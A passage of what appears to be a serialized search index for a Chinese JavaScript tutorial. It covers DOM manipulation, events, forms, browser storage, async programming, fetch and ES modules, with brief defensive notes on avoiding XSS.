第一个子元素\ncard.parentElement           \u002F\u002F 父元素\ncard.nextElementSibling      \u002F\u002F 下一个兄弟元素 从一个大容器出发逐层缩小范围，比从 document 全查更准（页面别处有同名 class 也不会串）也更快。",{"id":131814,"title":69324,"titles":131815,"content":131816,"level":357},"\u002Ftutorials\u002Fjs#closest-与-matches向上找与自我判断",[61741,69129],"span.closest('.card')       \u002F\u002F 从自己出发逐层向上，返回第一个匹配的祖先；找不到 → null\ncard.matches('.highlight')  \u002F\u002F 我匹配这个选择器吗 → true \u002F false closest 是第十五章「事件委托」的核心工具：不管点中卡片内部多深的小元素，closest('.card') 总能把你带回那张卡。",{"id":131818,"title":69376,"titles":131819,"content":131820,"level":357},"\u002Ftutorials\u002Fjs#live-集合与静态快照别记混",[61741,69129],"const live = list.getElementsByClassName('card')  \u002F\u002F live：DOM 变了它跟着变\nconst snap = list.querySelectorAll('.card')       \u002F\u002F 静态快照：查询那一刻定死 老接口（getElementsByClassName \u002F getElementsByTagName）返回实时联动的 HTMLCollection，querySelectorAll 返回定格快照的 NodeList。示例里追加一张卡片就能看到两种行为分道扬镳。日常首选 querySelectorAll，行为可预期；需要最新结果重新查询一次就好。",{"id":131822,"title":69457,"titles":131823,"content":131824,"level":341},"\u002Ftutorials\u002Fjs#十四修改-dom怎么把页面改出内容",[61741],"找到元素之后就是「改」。手段按重要性排序：创建与挂载、改内容、改状态、删除，最后组装成日常最常用的结构——渲染函数。",{"id":131826,"title":69467,"titles":131827,"content":131828,"level":357},"\u002Ftutorials\u002Fjs#创建拼装挂载三步造一个节点",[61741,69457],"const li = document.createElement('li')   \u002F\u002F ① 造：游离在内存，还没上树\nli.className = 'item'\nli.textContent = '写周报'\n\nconst list = document.querySelector('#todo-list')\nlist.append(li)      \u002F\u002F ② 挂到子节点末尾；prepend 挂到开头 先在内存里把子树拼装好、最后一步挂树，只触发一次布局；边挂边补会反复触发，规模一大就卡。插入全家桶还有 before \u002F after（自己的前\u002F后）、replaceWith；删除用 el.remove()；清空子节点用 list.replaceChildren()。",{"id":131830,"title":69575,"titles":131831,"content":131832,"level":357},"\u002Ftutorials\u002Fjs#改内容textcontent-与-innerhtml-的分界",[61741,69457],"el.textContent = '\u003Cb>加粗\u003C\u002Fb>'   \u002F\u002F 原样当纯文本：页面上就是这串字符\nel.innerHTML  = '\u003Cb>加粗\u003C\u002Fb>'    \u002F\u002F 交给浏览器解析：真的变成加粗文字 铁律：挂用户输入永远走 textContent。innerHTML 只用于你完全掌控的模板字符串——评论框里塞一段 \u003Cimg onerror=…>，innerHTML 会当场把脚本执行了，这就是 XSS 的入口。",{"id":131834,"title":69620,"titles":131835,"content":131836,"level":357},"\u002Ftutorials\u002Fjs#改状态classlist-与-dataset",[61741,69457],"el.classList.add('done')       \u002F\u002F 加\nel.classList.remove('done')    \u002F\u002F 删\nel.classList.toggle('done')    \u002F\u002F 切换，返回最终是否含有\nel.classList.contains('done')  \u002F\u002F 查\n\nel.dataset.index = 2           \u002F\u002F 写入 → 页面上是 data-index=\"2\"\nel.dataset.index               \u002F\u002F 读回——永远是字符串 样式交给 class、附加状态记进 data-*、真正的数据放 JS 变量——「三权分立」。不必用 el.style.xxx 一个个敷（除非是真正动态计算的值），换一批 class 更整洁。",{"id":131838,"title":69727,"titles":131839,"content":131840,"level":357},"\u002Ftutorials\u002Fjs#渲染函数数据-dom变了就重建",[61741,69457],"let tasks = [ … ]\n\nfunction renderTasks() {\n  list.replaceChildren()                 \u002F\u002F 清空\n  tasks.forEach((task, index) => {\n    const li = document.createElement('li')\n    li.dataset.index = index\n    li.textContent = task.text\n    list.append(li)\n  })\n} 数据变了就改数组、然后 renderTasks() 整块重建。看着「笨」（全删重造），换来一个关键好处：任何时刻 DOM 都严格等于数据的投影，不存在「忘了同步某处」的状态不一致——这正是 Vue 等框架的思路源头。反过来，用 el.remove() 直接删节点、绕过数据，下一次重建它就会复活：数据才是真相源。",{"id":131842,"title":69868,"titles":131843,"content":131844,"level":357},"\u002Ftutorials\u002Fjs#事件委托预告重建后按钮还能点",[61741,69457],"整块重建后，旧节点上的监听器全部作废。如果每次重建都重新绑定，代码会碎成一地 addEventListener。更省事的做法是把监听器挂在容器上，用 e.target.closest('.item') 判断点击落点——容器绑一次，子孙随便换。它的完整原理就是下一章。",{"id":131846,"title":69889,"titles":131847,"content":131848,"level":341},"\u002Ftutorials\u002Fjs#十五事件用户和页面的对话",[61741],"前面几章一直在用 addEventListener，现在把它的全貌补齐：事件对象里有什么、一次点击到底走了哪条路、为什么监听器该挂在容器上而不是每个按钮上。",{"id":131850,"title":69899,"titles":131851,"content":131852,"level":357},"\u002Ftutorials\u002Fjs#监听移除与选项",[61741,69889],"const onClick = (e) => { … }\nbtn.addEventListener('click', onClick)\n\nbtn.addEventListener('click', onClick, { once: true })     \u002F\u002F 触发一次后自动移除\nbtn.addEventListener('click', onClick, { capture: true })  \u002F\u002F 在捕获阶段接\nbtn.removeEventListener('click', onClick)  \u002F\u002F 移除：必须传「同一个函数引用」 移除有个高频坑：removeEventListener 靠函数引用识别，传一个新写的箭头函数毫无作用——处理函数要先存成变量，注册和移除传的是同一个。",{"id":131854,"title":70007,"titles":131855,"content":131856,"level":357},"\u002Ftutorials\u002Fjs#事件对象target-与-currenttarget",[61741,69889],"list.addEventListener('click', (e) => {\n  e.target          \u002F\u002F 实际被点中的元素（可能很深，比如按钮里的文字）\n  e.currentTarget   \u002F\u002F 监听器挂着的元素（这里就是 list）\n  e.type            \u002F\u002F 'click'\n}) 事件从 document 向下「捕获」、到达目标、再向上「冒泡」。监听器默认在冒泡阶段触发；加了 { capture: true } 就在下行阶段触发。点内层元素时祖孙三代的监听器都会收到——示例里把这条链完整打印了一遍，对照着看一遍就不会再记混。",{"id":131858,"title":70071,"titles":131859,"content":131860,"level":357},"\u002Ftutorials\u002Fjs#事件委托一器多用",[61741,69889],"冒泡带来一个工程上的大招。列表有 100 个条目，逐个绑监听器就是 100 个函数，重建后还要全部重绑。换成只在容器上绑一个： ul.addEventListener('click', (e) => {\n  const li = e.target.closest('.item')   \u002F\u002F 不管点得多深，先回到条目\n  if (!li) return\n  if (e.target.closest('.del')) { li.remove(); return }   \u002F\u002F 点中删除按钮\n  li.classList.toggle('done')                              \u002F\u002F 否则算切换完成\n}) 好处一次说完：动态新增的条目自动生效（不用补绑）、重建后不失效（容器没换）、监听器数量与条目数无关（省内存）。这也是上一章渲染函数敢「全删重造」的底气。",{"id":131862,"title":70208,"titles":131863,"content":131864,"level":357},"\u002Ftutorials\u002Fjs#preventdefault把浏览器的默认动作拦下来",[61741,69889],"浏览器对很多事件有内置动作：点链接会跳转、提交表单会刷新页面、右键弹菜单。想接管就先拦： link.addEventListener('click', (e) => {\n  e.preventDefault()   \u002F\u002F 取消默认动作\n  \u002F\u002F 校验、确认框、异步提交……自己安排\n}) 两个「拦」别用混：preventDefault 拦默认动作（事件本身还能继续冒泡）；stopPropagation 拦事件传播（默认动作不受影响）。",{"id":131866,"title":70279,"titles":131867,"content":131868,"level":357},"\u002Ftutorials\u002Fjs#常见事件类型速查",[61741,69889],"事件 触发时机 常用场景 click 点击（键盘在按钮上回车也算） 几乎所有交互 input 每次输入、粘贴、删除 实时校验、搜索建议 change 值确定改变且失焦（select \u002F checkbox 立即） 下拉选择、勾选 submit 表单提交 拦默认、校验通过再放行 keydown \u002F keyup 按下 \u002F 松开键，e.key 拿键名 回车提交、快捷键 mouseenter \u002F mouseleave 鼠标进入 \u002F 离开（不冒泡） 悬停效果 scroll 滚动 吸顶、懒加载 用到再查、查了记住用法即可；找不到名字时去 MDN 搜「事件名 + MDN」是最快的路。",{"id":131870,"title":70402,"titles":131871,"content":70405,"level":341},"\u002Ftutorials\u002Fjs#十六表单读取校验与提交",[61741],{"id":131873,"title":70409,"titles":131874,"content":131875,"level":357},"\u002Ftutorials\u002Fjs#读取控件value-与-checked",[61741,70402],"\u003Cinput id=\"f-name\" type=\"text\">\n\u003Cselect id=\"f-city\">\u003Coption>杭州\u003C\u002Foption>…\u003C\u002Fselect>\n\u003Cinput type=\"checkbox\" name=\"interest\" value=\"js\"> nameInput.value        \u002F\u002F 文本框、密码框、下拉框：都用 .value（字符串）\ncheckbox.checked       \u002F\u002F 复选框、单选框：用 .checked（true \u002F false）\nform.querySelectorAll('input[name=\"interest\"]:checked')   \u002F\u002F 只挑勾上的 :checked 是 CSS 伪类选择器在查询里的又一次复用。整表一把抓用 new FormData(form)：可遍历出「键 → 值」序列。两个细节要记住：没勾的复选框根本不在 FormData 里；同名多选会各占一条。 手工组装对象 vs FormData 各有场景：手工版本只收想要的字段、能把值转成数字、勾选项收成数组；FormData 原貌打包，适合整个表单原样发给后端。",{"id":131877,"title":70550,"titles":131878,"content":131879,"level":357},"\u002Ftutorials\u002Fjs#input-事件输入时实时反馈",[61741,70402],"emailInput.addEventListener('input', () => {\n  const ok = \u002F^\\S+@\\S+\\.\\S+$\u002F.test(emailInput.value.trim())\n  hint.textContent = ok ? '格式看起来没问题' : '需要 名称@域名 的形式'\n}) input 每次改动都触发（打一个字也触发），用来做即时提示；change 在失焦且值改变后才触发，适合「确定后再生效」的场景。",{"id":131881,"title":70654,"titles":131882,"content":131883,"level":357},"\u002Ftutorials\u002Fjs#submit拦下默认提交统一校验",[61741,70402],"form.addEventListener('submit', (e) => {\n  e.preventDefault()      \u002F\u002F 不拦的话：页面刷新，你所有的 JS 状态清零\n  const errors = {}       \u002F\u002F 「字段 → 提示语」的错误对象\n  if (!name.value.trim()) errors.name = '名字不能为空'\n  if (!\u002F^\\S+@\\S+\\.\\S+$\u002F.test(email.value)) errors.email = '邮箱格式不对'\n  if (!agree.checked) errors.agree = '需要先同意条款'\n  renderErrors(errors)    \u002F\u002F 用 Object.entries 逐个写到字段旁边\n  if (Object.keys(errors).length) return   \u002F\u002F 有错就停\n  \u002F\u002F 校验通过：组装数据，交给后端（第十九章 fetch）\n}) 三个要点：e.preventDefault() 必须是第一步；校验结果用「字段 → 提示语」的对象表达，Object.entries 就能派位到界面（第十章学的遍历在这里有了正经工作）；最后一个 return 把「不通过」挡在门外。想再加体验细节，可以 focus() 到第一个出错字段。",{"id":131885,"title":70846,"titles":131886,"content":131887,"level":357},"\u002Ftutorials\u002Fjs#提交按钮与回车是同一个事件",[61741,70402],"\u003Cbutton type=\"submit\"> 和输入框里的回车，触发的都是 submit——两个入口，一份逻辑。反过来要小心：form 里的 \u003Cbutton> 不写 type 时默认就是 submit，想当普通按钮用必须显式写 type=\"button\"，这个默认值坑过无数人。",{"id":131889,"title":70872,"titles":131890,"content":70875,"level":341},"\u002Ftutorials\u002Fjs#十七bom-与浏览器存储",[61741],{"id":131892,"title":70879,"titles":131893,"content":131894,"level":357},"\u002Ftutorials\u002Fjs#window全局对象也是窗口",[61741,70872],"第七章讲过作用域链：变量从里往外找，链的最后一站是全局作用域。在浏览器里，这个「最后一站」有个具体的名字——window。它身兼两职： 它是全局对象：var 声明的变量、函数声明，都会自动变成 window 的属性 它是浏览器窗口：视口尺寸、弹窗、定时器（下一章）都挂在它名下 var appName = 'demo'\nfunction boot() {}\nwindow.appName       \u002F\u002F 'demo'：var 和函数声明自动成为 window 的属性\nlet secret = 1\nwindow.secret        \u002F\u002F undefined：let\u002Fconst 不上 window\n\nwindow.innerWidth    \u002F\u002F 视口宽（CSS 像素）\nwindow.alert('!')    \u002F\u002F 这些全局函数，其实都是 window 的方法\nalert('!')           \u002F\u002F 平时省略前缀",{"id":131896,"title":70995,"titles":131897,"content":131898,"level":357},"\u002Ftutorials\u002Fjs#navigator环境信息与别做浏览器侦探",[61741,70872],"navigator 提供宿主环境的信息：navigator.language（界面语言）、navigator.onLine（粗略的联网状态）、navigator.userAgent（浏览器标识字符串）。 UA 字符串是历史包袱：浏览器们互相伪装，字符串里塞满了别人的名字，解析它来判断「用户用什么浏览器」非常不可靠。正确姿势是特性检测——不看你是谁，看你有什么能力： if ('geolocation' in navigator) {\n  \u002F\u002F 有定位能力才调用，没有就换方案\n}\n\nwindow.matchMedia('(prefers-color-scheme: dark)').matches\n\u002F\u002F 系统偏好深色？本站的明暗主题就是靠它读初始偏好的",{"id":131900,"title":71069,"titles":131901,"content":131902,"level":357},"\u002Ftutorials\u002Fjs#location地址栏的入口",[61741,70872],"location 描述当前页面地址，改它就等于导航。 location.href       \u002F\u002F 完整地址：读是字符串，写是跳转\nlocation.pathname   \u002F\u002F 路径部分\nlocation.search     \u002F\u002F '?page=2'\nlocation.hash       \u002F\u002F '#who=alan'，井号起\n\nlocation.hash = 'who=alan'   \u002F\u002F 只改 hash：不刷新页面、会进历史记录\nlocation.reload()            \u002F\u002F 重新加载（慎用，页面状态全丢） 地址栏参数交给 URLSearchParams 解析，比自己 split('&') 稳： \u002F\u002F 地址为 \u002Fsearch?page=2&tag=js&tag=dom 时\nconst params = new URLSearchParams(location.search)\nparams.get('page')     \u002F\u002F '2'——注意永远是字符串，要算数得自己转\nparams.get('tag')      \u002F\u002F 'js'：同名参数只返回第一个\nparams.getAll('tag')   \u002F\u002F ['js', 'dom']：全都要用 getAll\nparams.has('page')     \u002F\u002F true",{"id":131904,"title":71242,"titles":131905,"content":131906,"level":357},"\u002Ftutorials\u002Fjs#history前进与后退",[61741,70872],"history.length 是当前会话的历史条数；back() \u002F forward() 等价于点浏览器的前进后退。更常用的是 pushState \u002F replaceState——不刷新页面也能改地址，前端路由（比如本站切换页面）的地基： history.pushState({ page: 1 }, '', '\u002Flist?page=1')    \u002F\u002F 新增一条历史：地址变了，页面没动\nhistory.replaceState({ page: 2 }, '', '\u002Flist?page=2') \u002F\u002F 替换当前这条，不加新记录 这对 API 受同源策略严格约束：本章示例跑在沙箱 iframe 里（没有自己的「源」），一调 pushState 就抛 SecurityError——所以示例里只演示 hash 这种「改地址不刷新」的手段。",{"id":131908,"title":71321,"titles":131909,"content":131910,"level":357},"\u002Ftutorials\u002Fjs#alert-confirm-prompt内置弹窗",[61741,70872],"alert('知道了')                            \u002F\u002F 只有「确定」，无返回值\nconst ok = confirm('确定删除吗？')          \u002F\u002F 确定 true \u002F 取消 false\nconst nick = prompt('你叫什么？', '默认值')  \u002F\u002F 确定 → 字符串（可为空串）；取消 → null 三个都是阻塞式：脚本会停住等你点完，而且样式不可定制。正式产品里基本不用（替换成页面内的对话框），但调试和小工具里很顺手。",{"id":131912,"title":71399,"titles":131913,"content":131914,"level":357},"\u002Ftutorials\u002Fjs#存储三件套localstoragesessionstoragecookie",[61741,70872],"浏览器会在本地为用户存数据，三个容器，用途完全不同： localStorage sessionStorage cookie 生命周期 永久，除非主动清除 标签页关掉即失 可设过期时间 作用范围 同源的所有标签页 只在当前标签页 同源 + 路径规则 容量 约 5MB 约 5MB 4KB 会发给服务器吗 不会 不会 每次请求都带上 典型用途 主题、草稿、偏好 一次性的流程状态 会话凭证（给后端看） 口诀：前端自己用的数据放 localStorage \u002F sessionStorage；要让后端看到的才用 cookie。 两种 storage 的 API 一模一样（第十章末尾见过 Map——这套是它的老前辈）： localStorage.setItem('theme', 'dark')   \u002F\u002F 存\nlocalStorage.getItem('theme')           \u002F\u002F 'dark'；键不存在返回 null（不是 undefined）\nlocalStorage.removeItem('theme')        \u002F\u002F 删一条\nlocalStorage.clear()                    \u002F\u002F 清空——会波及同源下的所有代码，慎用\nlocalStorage.length                     \u002F\u002F 现有几条",{"id":131916,"title":71577,"titles":131917,"content":131918,"level":357},"\u002Ftutorials\u002Fjs#只认字符串json-来中转",[61741,70872],"两个必记的点：存进去什么，取出来都是字符串；想存对象\u002F数组要用 JSON 中转。 localStorage.setItem('count', 7)\nconst got = localStorage.getItem('count')\ntypeof got                \u002F\u002F 'string'！拿到的是 '7'，要算数得 Number(got)\n\nconst user = { name: '阿蓝', visits: 3 }\nlocalStorage.setItem('app:user', JSON.stringify(user))     \u002F\u002F 序列化进去\nconst saved = JSON.parse(localStorage.getItem('app:user')) \u002F\u002F 反序列化出来\nsaved.name                \u002F\u002F '阿蓝'，类型保住了\n\nJSON.stringify({ fn() {}, u: undefined })  \u002F\u002F '{}'——函数和 undefined 直接消失\nJSON.stringify(new Date())                 \u002F\u002F 日期变字符串；要用 Date 得自己 new 键名建议带统一前缀（app:user、app:theme），避免和同源下其他代码撞名。这套 JSON 往返，也是下一章 fetch 与后端交换数据的预演。",{"id":131920,"title":71781,"titles":131921,"content":131922,"level":357},"\u002Ftutorials\u002Fjs#存不进去怎么办先探测再兜底",[61741,70872],"localStorage 并非总能用：隐私模式、浏览器设置、沙箱 iframe 都会让它一写就抛异常（SecurityError）；写爆容量（约 5MB）会抛 QuotaExceededError。所以正经代码不直接假设它可用： try {\n  localStorage.setItem('__probe__', '1')\n  localStorage.removeItem('__probe__')\n  \u002F\u002F 没抛异常：可用\n} catch (err) {\n  \u002F\u002F SecurityError 等：不可用，降级到内存 Map——程序换个方式继续跑\n} 本章示例就跑在沙箱 iframe 里，你会亲眼看到探测失败、代码自动降级到内存的过程——正是第十二章的原则：预判得到的错误就处理掉，让程序活着。大文件（超过 5MB）不该硬塞 localStorage，那是 IndexedDB 的地盘。 最后一个安全习惯：localStorage 里的一切，同源脚本都能读。所以密码、登录凭证不要放进去——第十四章说过，XSS 注入的脚本第一件事就是翻 localStorage。 下一章换个维度：前面所有代码都是「立刻执行」的，下一章解决「等一等再执行」——定时器、回调、Promise 与 async \u002F await。",{"id":131924,"title":71875,"titles":131925,"content":131926,"level":341},"\u002Ftutorials\u002Fjs#十八异步等一等再执行",[61741],"前十七章的代码都是「一行做完再做下一行」。但浏览器里很多事急不来：网络请求要几百毫秒，定时器要等够时间，用户什么时候点按钮完全没谱。JS 的策略是不等——先往下走，事情完成时回头叫一个函数。这就是异步。",{"id":131928,"title":71886,"titles":131929,"content":131930,"level":357},"\u002Ftutorials\u002Fjs#定时器把函数预约到未来",[61741,71875],"setTimeout 把函数预约到「至少 N 毫秒后」执行，返回一个编号 id；clearTimeout(id) 可以反悔。setInterval 每隔 N 毫秒重复执行，配 clearInterval： const id = setTimeout(() => { console.log('1 秒后见') }, 1000)\nclearTimeout(id)          \u002F\u002F 反悔：还没到点就取消\n\nconst clockId = setInterval(() => { console.log(new Date()) }, 1000)\nclearInterval(clockId)    \u002F\u002F 停止 关键词是「至少」：定时器不会打断正在执行的代码。如果一个循环要跑 3 秒，你设置的 1 秒定时器也得排队等它跑完： setTimeout(() => console.log('定时器'), 0)\nfor (let i = 0; i \u003C 3; i++) console.log('循环 ' + i)\n\u002F\u002F 输出：循环 0、循环 1、循环 2、定时器\n\u002F\u002F 0 毫秒也不是立刻：先让当前这轮同步代码跑完",{"id":131932,"title":72084,"titles":131933,"content":131934,"level":357},"\u002Ftutorials\u002Fjs#回调结果出来时叫我",[61741,71875],"早期 JS 的异步全写回调：把「拿到结果后要做的事」包成函数传进去。约定俗成的回调风格是错误优先——第一个参数放着错误： orderTea((err, result) => {\n  if (err) {\n    console.log('失败：' + err.message)\n    return\n  }\n  console.log('成功：' + result)\n}) 能跑，但有著名的「回调地狱」问题：上一步的结果是下一步的输入，只能一层套一层，代码向右缩进成金字塔，错误处理还要每层重复。",{"id":131936,"title":72170,"titles":131937,"content":131938,"level":357},"\u002Ftutorials\u002Fjs#promise给未来的结果一个盒子",[61741,71875],"Promise 是一个代表未来结果的对象，三态：pending（等结果）→ fulfilled（成功）或 rejected（失败），状态一旦落定就不可逆。 function orderTea() {\n  return new Promise((resolve, reject) => {\n    setTimeout(() => {\n      if (Math.random() > 0.3) resolve('一杯珍珠奶茶')      \u002F\u002F 兑现\n      else reject(new Error('打烊了'))                       \u002F\u002F 拒付\n    }, 800)\n  })\n}\n\norderTea()\n  .then((tea) => console.log('拿到：' + tea))       \u002F\u002F 成功走这里\n  .catch((err) => console.log('出错：' + err.message)) \u002F\u002F 失败走这里\n  .finally(() => console.log('收尾'))                \u002F\u002F 都走这里 三个值得记住的点： .then 里 return 的东西会被包成新的 Promise，所以可以链式往下串——这才解决了回调嵌套 new Promise(executor) 里的执行器函数是同步立刻执行的，真正异步的是它注册进去的定时器\u002F网络回调 忘了 .catch，失败会变成「未处理的拒绝」，控制台报 Uncaught (in promise)",{"id":131940,"title":72438,"titles":131941,"content":131942,"level":357},"\u002Ftutorials\u002Fjs#async-await把-promise-写成人话",[61741,71875],"async 函数里可以 await 一个 Promise：等它落定，成功直接取出值，失败抛成异常——于是 try\u002Fcatch 就能管异步错误了： async function buyTea() {\n  try {\n    const tea = await orderTea()   \u002F\u002F 等它落定；期间页面照常响应\n    console.log('拿到：' + tea)\n  } catch (err) {\n    console.log('出错：' + err.message)\n  }\n} 注意：await「暂停」的只是这个 async 函数，不是整个页面——函数在 await 处让出控制权，其他事件照常跑，Promise 落定后它从下一行接着走。另外，async 函数永远返回 Promise，所以 buyTea() 拿到的是 Promise 而不是值；想在别处拿值，就继续 await 它。",{"id":131944,"title":72546,"titles":131945,"content":131946,"level":357},"\u002Ftutorials\u002Fjs#串行还是并行别让-await-排队",[61741,71875],"常见翻车点：三个互不依赖的任务，写成三个 await 串着等，总耗时是三者之和： await task('洗菜', 600)   \u002F\u002F 一个接着一个……总共约 1800ms\nawait task('切菜', 600)\nawait task('炒菜', 600)\n\nconst names = await Promise.all([task('烧水', 600), task('蒸饭', 600), task('备菜', 600)])\n\u002F\u002F 同时发车，约 600ms 拿到全部结果 Promise.all 一荣俱荣：任一失败，整体立刻以第一个错误 reject。口诀：有依赖才串行，没依赖用 Promise.all。",{"id":131948,"title":72691,"titles":131949,"content":131950,"level":357},"\u002Ftutorials\u002Fjs#微任务与宏任务够用版",[61741,71875],"记住一个执行顺序就够用了：同步代码 → 微任务（Promise 回调、await 的续行）→ 宏任务（setTimeout \u002F setInterval 回调）： setTimeout(() => console.log('定时器 0'), 0)\nPromise.resolve().then(() => console.log('Promise'))\nconsole.log('同步代码')\n\u002F\u002F 输出：同步代码 → Promise → 定时器 0 它能解释大部分「为什么日志顺序和我想的不一样」；更深的机制（事件循环、任务队列）用到再补。",{"id":131952,"title":72781,"titles":131953,"content":72784,"level":341},"\u002Ftutorials\u002Fjs#十九fetch-与-json和服务器说上话",[61741],{"id":131955,"title":72788,"titles":131956,"content":131957,"level":357},"\u002Ftutorials\u002Fjs#json跨语言的数据交换格式",[61741,72781],"JSON（JavaScript Object Notation）长得像 JS 对象字面量，但它是格式不是代码：键必须双引号、没有注释、没有函数，值只允许字符串、数字、布尔、null、数组、对象。你要说规则就一句：能 JSON.stringify 出去、能 JSON.parse 回来，才算合法。 JSON.stringify({ name: '阿蓝', tags: ['js'] })   \u002F\u002F '{\"name\":\"阿蓝\",\"tags\":[\"js\"]}'\nJSON.parse('{\"page\": 2}')                        \u002F\u002F { page: 2 } JSON.parse 遇到非法文本会抛 SyntaxError——内容来自外部（网络、存储、用户）时，必须包 try\u002Fcatch，这是第十二章就定下的纪律。",{"id":131959,"title":72858,"titles":131960,"content":131961,"level":357},"\u002Ftutorials\u002Fjs#fetch-的第一个反直觉404-也算成功",[61741,72781],"fetch(url) 返回 Promise，但它 resolve 的条件是「服务器有应答」——404、500 都是有应答，照样 resolve；只有断网、DNS 失败这类网络层错误才 reject。所以拿到结果后必须自己检查 res.ok（2xx 为 true）： resolve ≠ 请求成功，只等于「有回音」 没查 res.ok 的代码，会在 404 时拿着错误页去 json()，然后以一种莫名其妙的方式崩掉 一个完整的「三段式」模板，以后所有 GET 都可以照抄： async function getUsers() {\n  try {\n    const res = await fetch('\u002Fapi\u002Fusers')\n    if (!res.ok) throw new Error('HTTP ' + res.status)\n    return await res.json()\n  } catch (err) {\n    console.error('加载用户失败：', err.message)\n    return []\n  }\n} 读响应体有三个常用方法：res.json()（解析成对象）、res.text()（原始字符串）、res.blob()（二进制）。注意响应体是一次性流：json() 读过了再 text() 会报错，二选一。",{"id":131963,"title":73040,"titles":131964,"content":131965,"level":357},"\u002Ftutorials\u002Fjs#post把数据送上去",[61741,72781],"发数据用第二个参数：method、headers、body。body 必须是字符串——对象要先 JSON.stringify；Content-Type: application\u002Fjson 相当于告诉服务器「我给你的是 JSON，请按这个解」： await fetch('\u002Fapi\u002Fusers', {\n  method: 'POST',\n  headers: { 'Content-Type': 'application\u002Fjson' },\n  body: JSON.stringify({ name: '阿蓝', role: 'member' }),\n}) 查询参数用第十七章的 URLSearchParams 拼，省得手写转义： const qs = new URLSearchParams({ q: '闭包', page: 2 })\nfetch('\u002Fapi\u002Fsearch?' + qs)   \u002F\u002F \u002Fapi\u002Fsearch?q=%E9%97%AD%E5%8C%85&page=2",{"id":131967,"title":73173,"titles":131968,"content":131969,"level":357},"\u002Ftutorials\u002Fjs#新手翻车清单",[61741,72781],"忘了 await：拿到的是 Promise 不是数据（users.length 是 undefined） 忘了查 res.ok：404 当成功处理 body 忘 JSON.stringify：服务器收到 [object Object] json() 当同步方法用：它是 async 的，要 await 路径写相对 \u002Fapi\u002F... 时和页面不同源会被 CORS 拦：跨源需要服务器在响应头里点头（Access-Control-Allow-Origin），这是后端配置问题，不是 fetch 写法问题 拿网络数据直接塞 innerHTML：XSS 老问题，回顾第十四章",{"id":131971,"title":73226,"titles":131972,"content":131973,"level":357},"\u002Ftutorials\u002Fjs#本章示例的说明",[61741,72781],"示例跑在沙箱 iframe 里，没有可用的网络源，所以内置了一个「长得和 fetch 一样」的 fakeFetch（同样 600ms 延迟、同样返回带 status \u002F ok \u002F json() 的响应对象）来完整演示流程：200 \u002F 404 \u002F 500 \u002F 断网四种结局、POST 提交、重新拉取列表。真实项目里把它换成 fetch，流程一字不差。 下一章换个话题：代码越写越多，全塞一个文件迟早失控——模块化怎么拆、怎么 import \u002F export，以及交付前的工程习惯。",{"id":131975,"title":73251,"titles":131976,"content":131977,"level":341},"\u002Ftutorials\u002Fjs#二十模块与工程习惯",[61741],"到上一章为止，代码都写在单个 script 里。真实项目动辄几千行，全塞一个文件有三宗罪：找不到、会撞名、没法复用。这一章解决「代码怎么组织」，顺路把交付前该有的工程习惯过一遍。",{"id":131979,"title":73262,"titles":131980,"content":131981,"level":357},"\u002Ftutorials\u002Fjs#模块是什么自带作用域的文件",[61741,73251],"一个 JS 文件加上几个 export，就是「模块」（ES Module）。浏览器原生支持，机制有四个要点： 自带作用域：模块顶层的变量不会挂到 window（对比：传统 script 的顶层 var 和函数声明全是全局的，本章示例能看到这个差别的现场） 显式接口：只有 export 出去的东西，外面才拿得到 单例：同一个模块被多个地方 import，也只执行一次，共享同一份内部状态 严格模式：模块里自动开启 'use strict'，第二章那些「别这么干」从建议变成强制 \u003Cscript type=\"module\" src=\".\u002Fmain.js\">\u003C\u002Fscript> 注意：file:\u002F\u002F 直接双击打开会因为 CORS 报错——模块必须经 HTTP 访问（本地起个静态服务，或直接用下节说的构建工具）。",{"id":131983,"title":73335,"titles":131984,"content":131985,"level":357},"\u002Ftutorials\u002Fjs#export-与-import-的几种写法",[61741,73251],"\u002F\u002F utils.js —— 输出方\nexport function formatTime(date) { … }    \u002F\u002F 具名导出：一个文件可以有很多个\nexport const MAX = 10\nexport default function render() { … }    \u002F\u002F 默认导出：一个模块至多一个 \u002F\u002F main.js —— 使用方\nimport { formatTime, MAX } from '.\u002Futils.js'    \u002F\u002F 具名导入：名字要对上\nimport { formatTime as fmt } from '.\u002Futils.js'  \u002F\u002F 重命名\nimport render from '.\u002Futils.js'                 \u002F\u002F 默认导入：名字自己起\nimport * as utils from '.\u002Futils.js'             \u002F\u002F 整个模块收成命名空间对象\n\nimport('.\u002Fheavy.js').then((mod) => { … })       \u002F\u002F 动态导入：用到才加载，返回 Promise 两条硬规矩： 路径必须写 .\u002F 或 ..\u002F 开头——写成 'utils.js' 会被当作 npm 包名去找，然后报「找不到模块」 import 会被提升到模块顶部，写在哪里都一样（别指望靠位置控制顺序） default 还是具名？一个模块只做一件事、只有一个主出口 → default；工具集合（一排平级函数）→ 全部具名（更好搜、重构更安全）。团队里保持一致，比纠结选哪个更重要。",{"id":131987,"title":73534,"titles":131988,"content":131989,"level":357},"\u002Ftutorials\u002Fjs#拆文件的原则一条链三个角色",[61741,73251],"小型项目够用的分法——utils（纯工具）→ store（数据与业务）→ main（入口\u002F界面）： utils：不碰 DOM、不管业务，进什么出什么，最好测 store：管数据和规则（比如「count 不能超过 limit」），也不碰 DOM main：只当接线员——把用户事件接到 store，把结果渲染到 DOM 依赖方向单向：main → store → utils。反过来（工具函数里 import 业务状态）就是循环依赖噩梦的开端。本章示例把第十四章的迷你待办按这个原则拆成三个文件，每个几十行，看完文件名就知道该去哪改。",{"id":131991,"title":73558,"titles":131992,"content":131993,"level":357},"\u002Ftutorials\u002Fjs#命名与注释改代码的人会谢你",[61741,73251],"文件名小写连字符（user-store.js）；函数名用动词短语（createUser、formatDate），布尔用 is\u002Fhas\u002Fcan 开头（isValid、hasNext） 注释写「为什么」，不写「是什么」：i++ \u002F\u002F i 加一 是噪音；\u002F\u002F 兼容 iOS 15 的旧行为 才是信息 删掉注释掉的死代码——git 记着呢，不差这一份",{"id":131995,"title":73599,"titles":131996,"content":131997,"level":357},"\u002Ftutorials\u002Fjs#devtools出-bug-时的三件套",[61741,73251],"console 家族：console.table(arr) 把对象数组排成表、console.time \u002F timeEnd 掐耗时、console.error 让日志带颜色和调用栈（本站示例的「迷你控制台」就是它的仿制品） 断点：Sources 面板点行号打断点，鼠标悬停看变量值；条件断点只在条件成立时停下；在代码里写 debugger 语句也会停 Network 面板：上一章的请求全在这：状态码、请求头、响应体——接口挂没挂一眼便知",{"id":131999,"title":73638,"titles":132000,"content":132001,"level":357},"\u002Ftutorials\u002Fjs#从手写-script-到工程化缺的那一环",[61741,73251],"现在我们手动引入每个文件：\u003Cscript type=\"module\" src=\".\u002Fmain.js\">，main.js 再 import 